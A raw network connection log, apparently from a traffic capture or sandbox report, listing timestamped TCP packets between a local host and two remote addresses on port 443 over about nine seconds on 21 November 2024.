Nov 21, 2024 00:04:29.599855900 CET	443	50013	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:29.599935055 CET	50013	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:29.600089073 CET	50013	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:29.600106001 CET	443	50013	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:29.709512949 CET	443	50009	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:29.710226059 CET	50009	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:29.710261106 CET	443	50009	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:29.710679054 CET	50009	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:29.710690975 CET	443	50009	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:30.155683041 CET	443	50009	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:30.158643961 CET	443	50009	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:30.158726931 CET	50009	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:30.158761024 CET	50009	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:30.158776999 CET	443	50009	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:30.158791065 CET	50009	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:30.158797979 CET	443	50009	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:30.161324978 CET	50014	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:30.161393881 CET	443	50014	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:30.161468983 CET	50014	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:30.161653996 CET	50014	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:30.161673069 CET	443	50014	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:30.193746090 CET	443	50010	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:30.196985960 CET	50010	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:30.197021961 CET	443	50010	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:30.198158979 CET	50010	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:30.198164940 CET	443	50010	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:30.639933109 CET	443	50010	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:30.644804001 CET	443	50010	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:30.644864082 CET	50010	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:30.644893885 CET	443	50010	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:30.645020962 CET	50010	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:30.645020962 CET	50010	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:30.645031929 CET	443	50010	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:30.645071030 CET	443	50010	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:30.648174047 CET	50015	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:30.648257017 CET	443	50015	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:30.648350000 CET	50015	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:30.648508072 CET	50015	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:30.648530960 CET	443	50015	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.158874989 CET	443	50012	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.159339905 CET	50012	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:31.159368038 CET	443	50012	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.159806013 CET	50012	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:31.159811020 CET	443	50012	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.181502104 CET	443	50011	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.182490110 CET	50011	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:31.182512999 CET	443	50011	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.182928085 CET	50011	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:31.182933092 CET	443	50011	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.328193903 CET	443	50013	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.328819990 CET	50013	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:31.328860998 CET	443	50013	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.329421997 CET	50013	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:31.329433918 CET	443	50013	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.616416931 CET	443	50012	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.619609118 CET	443	50012	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.619707108 CET	50012	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:31.619754076 CET	50012	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:31.619754076 CET	50012	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:31.619782925 CET	443	50012	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.619801044 CET	443	50012	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.623346090 CET	50017	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:31.623384953 CET	443	50017	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.623518944 CET	50017	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:31.623683929 CET	50017	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:31.623701096 CET	443	50017	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.634644032 CET	443	50011	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.634809017 CET	443	50011	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.634965897 CET	50011	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:31.634987116 CET	50011	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:31.634996891 CET	443	50011	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.635014057 CET	50011	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:31.635018110 CET	443	50011	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.637794971 CET	50018	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:31.637831926 CET	443	50018	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.637903929 CET	50018	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:31.638108969 CET	50018	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:31.638123989 CET	443	50018	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.767467022 CET	443	50013	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.770637035 CET	443	50013	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.770703077 CET	443	50013	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.770746946 CET	50013	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:31.770775080 CET	50013	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:31.770807028 CET	50013	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:31.770826101 CET	443	50013	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.770838022 CET	50013	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:31.770843983 CET	443	50013	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.773633003 CET	50019	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:31.773669958 CET	443	50019	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.773745060 CET	50019	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:31.773977995 CET	50019	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:31.773992062 CET	443	50019	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.952950954 CET	443	50014	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.955763102 CET	50014	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:31.955801010 CET	443	50014	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:31.956239939 CET	50014	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:31.956248045 CET	443	50014	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:32.426548958 CET	443	50015	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:32.427216053 CET	50015	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:32.427243948 CET	443	50015	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:32.427656889 CET	50015	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:32.427663088 CET	443	50015	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:32.433008909 CET	443	50014	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:32.433092117 CET	443	50014	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:32.433254957 CET	50014	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:32.433293104 CET	50014	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:32.433310986 CET	443	50014	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:32.433320999 CET	50014	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:32.433327913 CET	443	50014	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:32.436117887 CET	50020	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:32.436165094 CET	443	50020	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:32.436249971 CET	50020	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:32.436402082 CET	50020	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:32.436417103 CET	443	50020	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:32.865050077 CET	443	50015	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:32.868082047 CET	443	50015	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:32.868134022 CET	443	50015	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:32.868271112 CET	50015	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:32.868272066 CET	50015	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:32.932810068 CET	50015	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:32.932851076 CET	443	50015	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:32.932867050 CET	50015	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:32.932873964 CET	443	50015	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:32.937602997 CET	50021	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:32.937644958 CET	443	50021	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:32.937710047 CET	50021	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:32.938091040 CET	50021	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:32.938121080 CET	443	50021	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:33.407417059 CET	443	50017	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:33.407991886 CET	50017	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:33.408011913 CET	443	50017	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:33.408471107 CET	50017	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:33.408478975 CET	443	50017	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:33.419608116 CET	443	50018	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:33.420036077 CET	50018	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:33.420053005 CET	443	50018	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:33.420516014 CET	50018	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:33.420521975 CET	443	50018	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:33.568222046 CET	443	50019	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:33.568737030 CET	50019	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:33.568747044 CET	443	50019	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:33.569293976 CET	50019	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:33.569298983 CET	443	50019	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:33.849455118 CET	443	50017	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:33.849788904 CET	443	50017	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:33.849881887 CET	50017	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:33.849991083 CET	50017	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:33.850008011 CET	443	50017	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:33.850018978 CET	50017	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:33.850024939 CET	443	50017	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:33.853121042 CET	50022	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:33.853200912 CET	443	50022	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:33.853302002 CET	50022	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:33.853460073 CET	50022	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:33.853477001 CET	443	50022	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:33.866466999 CET	443	50018	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:33.869581938 CET	443	50018	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:33.869646072 CET	50018	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:33.869745016 CET	50018	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:33.869769096 CET	443	50018	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:33.869796038 CET	50018	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:33.869803905 CET	443	50018	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:33.872678995 CET	50023	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:33.872725964 CET	443	50023	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:33.872838020 CET	50023	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:33.872987986 CET	50023	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:33.873008966 CET	443	50023	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:34.012052059 CET	443	50019	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:34.015022993 CET	443	50019	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:34.015077114 CET	443	50019	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:34.015105009 CET	50019	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:34.015145063 CET	50019	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:34.015197039 CET	50019	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:34.015213013 CET	443	50019	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:34.015233994 CET	50019	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:34.015240908 CET	443	50019	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:34.018182039 CET	50024	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:34.018301964 CET	443	50024	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:34.018388987 CET	50024	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:34.018533945 CET	50024	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:34.018557072 CET	443	50024	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:34.221534967 CET	443	50020	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:34.222229004 CET	50020	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:34.222258091 CET	443	50020	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:34.222816944 CET	50020	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:34.222822905 CET	443	50020	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:34.670918941 CET	443	50020	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:34.674072027 CET	443	50020	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:34.675410986 CET	50020	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:34.675410986 CET	50020	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:34.678556919 CET	50020	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:34.678561926 CET	50025	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:34.678596973 CET	443	50020	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:34.678596973 CET	443	50025	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:34.678702116 CET	50025	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:34.678881884 CET	50025	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:34.678894043 CET	443	50025	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:34.797662973 CET	443	50021	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:34.799720049 CET	50021	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:34.799756050 CET	443	50021	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:34.800342083 CET	50021	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:34.800349951 CET	443	50021	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:35.270040035 CET	443	50021	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:35.272913933 CET	443	50021	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:35.272984028 CET	50021	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:35.273051023 CET	50021	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:35.273075104 CET	443	50021	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:35.273088932 CET	50021	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:35.273097038 CET	443	50021	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:35.282068968 CET	50026	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:35.282116890 CET	443	50026	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:35.282248974 CET	50026	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:35.282480001 CET	50026	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:35.282495022 CET	443	50026	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:35.634325027 CET	443	50022	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:35.655250072 CET	443	50023	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:35.681566954 CET	50022	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:35.697170973 CET	50023	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:35.758445978 CET	50022	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:35.758471966 CET	443	50022	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:35.762161016 CET	50022	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:35.762182951 CET	443	50022	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:35.764523983 CET	50023	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:35.764545918 CET	443	50023	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:35.765292883 CET	443	50024	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:35.765590906 CET	50023	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:35.765598059 CET	443	50023	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:35.765851021 CET	50024	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:35.765875101 CET	443	50024	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:35.766757011 CET	50024	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:35.766762018 CET	443	50024	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:35.885803938 CET	50027	443	192.168.2.7	142.250.184.228
Nov 21, 2024 00:04:35.885854959 CET	443	50027	142.250.184.228	192.168.2.7
Nov 21, 2024 00:04:35.885940075 CET	50027	443	192.168.2.7	142.250.184.228
Nov 21, 2024 00:04:35.886166096 CET	50027	443	192.168.2.7	142.250.184.228
Nov 21, 2024 00:04:35.886202097 CET	443	50027	142.250.184.228	192.168.2.7
Nov 21, 2024 00:04:36.099494934 CET	443	50023	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:36.102202892 CET	443	50023	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:36.102299929 CET	50023	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:36.102330923 CET	50023	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:36.102330923 CET	50023	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:36.102349043 CET	443	50023	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:36.102358103 CET	443	50023	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:36.105195045 CET	50028	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:36.105281115 CET	443	50028	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:36.105438948 CET	50028	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:36.105576992 CET	50028	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:36.105600119 CET	443	50028	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:36.140351057 CET	443	50022	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:36.143342018 CET	443	50022	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:36.143404961 CET	443	50022	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:36.143408060 CET	50022	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:36.143455029 CET	50022	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:36.143502951 CET	50022	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:36.143522978 CET	443	50022	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:36.143536091 CET	50022	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:36.143542051 CET	443	50022	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:36.146289110 CET	50029	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:36.146331072 CET	443	50029	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:36.146424055 CET	50029	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:36.146576881 CET	50029	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:36.146585941 CET	443	50029	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:36.214426041 CET	443	50024	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:36.214792967 CET	443	50024	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:36.214854002 CET	50024	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:36.214884996 CET	443	50024	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:36.214935064 CET	443	50024	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:36.214976072 CET	50024	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:36.215003967 CET	443	50024	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:36.215018988 CET	50024	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:36.215018988 CET	50024	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:36.215029955 CET	443	50024	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:36.215038061 CET	443	50024	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:36.217832088 CET	50030	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:36.217874050 CET	443	50030	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:36.217940092 CET	50030	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:36.218107939 CET	50030	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:36.218125105 CET	443	50030	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:36.553627014 CET	443	50025	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:36.554455996 CET	50025	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:36.554491997 CET	443	50025	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:36.554928064 CET	50025	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:36.554934025 CET	443	50025	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:37.050748110 CET	443	50025	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:37.053621054 CET	443	50025	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:37.053683043 CET	50025	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:37.053734064 CET	50025	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:37.053752899 CET	443	50025	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:37.053786993 CET	50025	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:37.053792953 CET	443	50025	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:37.057219028 CET	50031	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:37.057274103 CET	443	50031	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:37.057337046 CET	50031	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:37.057523012 CET	50031	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:37.057538986 CET	443	50031	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:37.117679119 CET	443	50026	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:37.118607044 CET	50026	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:37.118638992 CET	443	50026	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:37.119064093 CET	50026	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:37.119070053 CET	443	50026	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:37.323965073 CET	443	50027	142.250.184.228	192.168.2.7
Nov 21, 2024 00:04:37.325855017 CET	50027	443	192.168.2.7	142.250.184.228
Nov 21, 2024 00:04:37.325922966 CET	443	50027	142.250.184.228	192.168.2.7
Nov 21, 2024 00:04:37.326946020 CET	443	50027	142.250.184.228	192.168.2.7
Nov 21, 2024 00:04:37.327475071 CET	50027	443	192.168.2.7	142.250.184.228
Nov 21, 2024 00:04:37.327632904 CET	443	50027	142.250.184.228	192.168.2.7
Nov 21, 2024 00:04:37.369666100 CET	50027	443	192.168.2.7	142.250.184.228
Nov 21, 2024 00:04:37.563510895 CET	443	50026	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:37.566646099 CET	443	50026	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:37.566735029 CET	50026	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:37.566777945 CET	50026	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:37.566797018 CET	443	50026	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:37.566808939 CET	50026	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:37.566817045 CET	443	50026	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:37.569964886 CET	50032	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:37.570009947 CET	443	50032	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:37.570103884 CET	50032	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:37.570285082 CET	50032	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:37.570298910 CET	443	50032	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:37.954660892 CET	443	50029	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:37.955049992 CET	50029	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:37.955075979 CET	443	50029	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:37.955508947 CET	50029	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:37.955521107 CET	443	50029	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:37.983819962 CET	443	50028	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:37.984247923 CET	50028	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:37.984272957 CET	443	50028	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:37.984807968 CET	50028	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:37.984812021 CET	443	50028	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:38.080039978 CET	443	50030	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:38.080650091 CET	50030	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:38.080674887 CET	443	50030	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:38.081032991 CET	50030	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:38.081038952 CET	443	50030	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:38.529906988 CET	443	50029	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:38.529942989 CET	443	50029	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:38.529997110 CET	443	50029	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:38.529995918 CET	50029	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:38.530038118 CET	50029	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:38.530374050 CET	50029	443	192.168.2.7	13.107.246.45
